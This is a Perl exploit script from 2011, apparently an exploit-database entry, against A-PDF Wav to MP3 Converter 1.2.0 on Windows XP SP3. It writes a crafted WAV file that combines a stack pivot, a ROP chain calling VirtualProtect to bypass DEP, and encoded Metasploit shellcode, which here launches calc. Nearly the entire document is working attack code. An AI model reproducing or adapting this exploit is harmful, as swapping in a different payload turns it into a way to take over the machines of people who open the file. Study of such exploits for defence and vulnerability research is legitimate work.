A-PDF Wav to MP3 Converter 1.2.0 – DEP Bypass
# Exploit Title: A-PDF Wav to MP3 Converter v 1.2.0 DEP Bypass # Software Link: http://www.a-pdf.com/wav-to-mp3/a-pdf-wtm.exe # Version: 1.2.0 # Tested on: Win XP SP3 French # Date: 12/05/2011 # Author: h1ch4m (Hicham Oumounid) # Email: h1ch4m@live.fr # Home: http://net-effects.blogspot.com # Big thanks to corelanc0d3r for the Help & the Precious advices my $file= "Exploit.wav"; ####################### STACK PIVOT ########################### my $EIP = pack('V', 0x100040CF); # RETN - wavtomp3.exe - ** Null byte ** # not enough space for the ROP and Shellcode, so: sub esp,1030 & we land in the beginning of our payload(ROP) my $SP = pack('V', 0x004A394A); # POP ECX # RETN [Module : wavtomp3.exe] ** Null byte ** - [ Ascii printable - null byte] $SP .= pack('V', 0x00001030); # 1030h $SP .= pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= "A" x 16; $SP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= pack('V', 0x004130DE); # SUB EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $SP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte ** ####################### STACK POINTER ########################### my $ROP = pack('V', 0x00478D2C); # PUSH ESP # MOV EAX,EDI # POP EDX # POP EBP # POP EDI # POP ESI # POP EBX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= "A" x 16; $ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x10004642); # ADD ESP,18 # RETN [Module : lame_enc.dll] ** Null byte ** ############ VirtualProtect() Parameters ############ $ROP .= pack('V', 0x7c801ad4); # VirtualProtect() 0x7c801ad4 Kernel32.dll $ROP .= "AAAA"; # Parameter 1 $ROP .= "BBBB"; # Parameter 2 $ROP .= "CCCC"; # Parameter 3 $ROP .= "DDDD"; # Parameter 4 $ROP .= pack("V", 0x10054000); # Writeable address ###################### PARAMETER 1 ########################### $ROP .= pack('V', 0x0040808F); # ADD EAX,10 # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x1002B936); # ADD EAX,0C # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x0040F944); # MOV ECX,EAX # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x00401D3C); # MOV EAX,EDX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1002B23D); # ADD EAX,20 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x1002B910); # ADD EAX,8 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x00402ABC); # MOV DWORD PTR DS:[ECX],EAX # RETN [Module : wavtomp3.exe] ** Null byte ** ###################### PARAMETER 2 ########################### $ROP .= pack('V', 0x10002388); # MOV DWORD PTR DS:[ECX+4],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ###################### PARAMETER 3 ########################### $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x1003C6A4); # ADD EAX,100 # POP EBP # RETN [Module : lame_enc.dll] ** $ROP .= "A" x 4; $ROP .= pack('V', 0x100023D1); # MOV DWORD PTR DS:[ECX+8],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ###################### PARAMETER 4 ########################### $ROP .= pack('V', 0x1002B23D) x 2; # ADD EAX,20 # RETN [Module : lame_enc.dll] ** $ROP .= pack('V', 0x100023A8); # MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # RETN [Module : lame_enc.dll] ** Null byte ** ################### Jump To VirtualProtect() ##################### $ROP .= pack('V', 0x004027D9); # MOV EAX,ECX # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x0040BFC1); # SUB EAX,4 # RETN [Module : wavtomp3.exe] ** Null byte ** $ROP .= pack('V', 0x0041097B); # XCHG EAX,ESP # RETN [Module : wavtomp3.exe] ** Null byte ** ####################### NOPS ########################### my $NOPS = "\x90" x (300 - length($ROP)); ####################### SHELLCODE ########################### # windows/exec - 223 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # EXITFUNC=seh, CMD=calc my $shellcode = "\xda\xdd\xbf\xb0\x1a\x64\x4f\xd9\x74\x24\xf4\x58\x31\xc9" . "\xb1\x32\x31\x78\x17\x83\xc0\x04\x03\xc8\x09\x86\xba\xd4" . "\xc6\xcf\x45\x24\x17\xb0\xcc\xc1\x26\xe2\xab\x82\x1b\x32" . "\xbf\xc6\x97\xb9\xed\xf2\x2c\xcf\x39\xf5\x85\x7a\x1c\x38" . "\x15\x4b\xa0\x96\xd5\xcd\x5c\xe4\x09\x2e\x5c\x27\x5c\x2f" . "\x99\x55\xaf\x7d\x72\x12\x02\x92\xf7\x66\x9f\x93\xd7\xed" . "\x9f\xeb\x52\x31\x6b\x46\x5c\x61\xc4\xdd\x16\x99\x6e\xb9" . "\x86\x98\xa3\xd9\xfb\xd3\xc8\x2a\x8f\xe2\x18\x63\x70\xd5" . "\x64\x28\x4f\xda\x68\x30\x97\xdc\x92\x47\xe3\x1f\x2e\x50" . "\x30\x62\xf4\xd5\xa5\xc4\x7f\x4d\x0e\xf5\xac\x08\xc5\xf9" . "\x19\x5e\x81\x1d\x9f\xb3\xb9\x19\x14\x32\x6e\xa8\x6e\x11" . "\xaa\xf1\x35\x38\xeb\x5f\x9b\x45\xeb\x07\x44\xe0\x67\xa5" . "\x91\x92\x25\xa3\x64\x16\x50\x8a\x67\x28\x5b\xbc\x0f\x19" . "\xd0\x53\x57\xa6\x33\x10\xa9\x57\x8e\x8c\x3e\xce\x7b\xed" . "\x22\xf1\x51\x31\x5b\x72\x50\xc9\x98\x6a\x11\xcc\xe5\x2c" . "\xc9\xbc\x76\xd9\xed\x13\x76\xc8\x8d\xf2\xe4\x90\x51"; my $junk = "\x41" x (4128 - length($ROP.$NOPS.$shellcode)); open($FILE,">$file"); print $FILE $ROP.$NOPS.$shellcode.$junk.$EIP.$SP; close($FILE); print "File Created successfully\n"; sleep(1); |